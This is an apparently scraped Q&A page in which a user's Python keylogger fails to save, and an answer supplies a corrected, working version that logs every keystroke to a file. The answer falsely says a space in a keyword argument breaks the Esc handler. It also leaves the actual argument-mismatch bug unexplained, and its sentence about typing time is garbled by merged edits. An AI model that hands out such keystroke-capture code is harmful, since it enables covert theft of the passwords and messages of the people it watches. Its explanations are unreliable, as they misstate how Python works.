键盘记录器不会保存到文本文件，用 python 制作

Question

so i tried making a keylogger,but it won´t save to the text file.

First time making a keylogger,already watched some tutorials but i can´t figure out why it doesn´t work.

this is my complete code

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

There are no errors showing in pycharm...

Answer 1

As John Gordon pointed out in the comments, your keylogger isn't saving until you've collected more than 999999999999999999999999999999999999999999 keys. At three keys a second, nonstop, that'll take abouta yearten million billion years to type, and would create a filealmost exactly 1GB 10 thousand trillion trillion GB in size. According to a typing speed test, however, people type on average 190-200 characters (not words) per minute - why not save every 15 seconds or so, after 50 characters? You can change this to whatever you'd like.

I also noted that your program was not terminating properly - you left a stray space in your with Listener invocation at on_release =on_release , which prevented the keylogger from capturing the esc key (and thereby also prevented the keylogger from being killed, except with ctrl-z ).

This modified code ran well on my machine, and captured all my input. Spooky!

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   #change this to whatever you want, knowing the average person types at 
   #190-200 characters per minute. Following that logic, this logger will save every 
   #15 seconds or so during normal typing.
   if count >= 50:
       count = 0
       write_file()
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Good luck!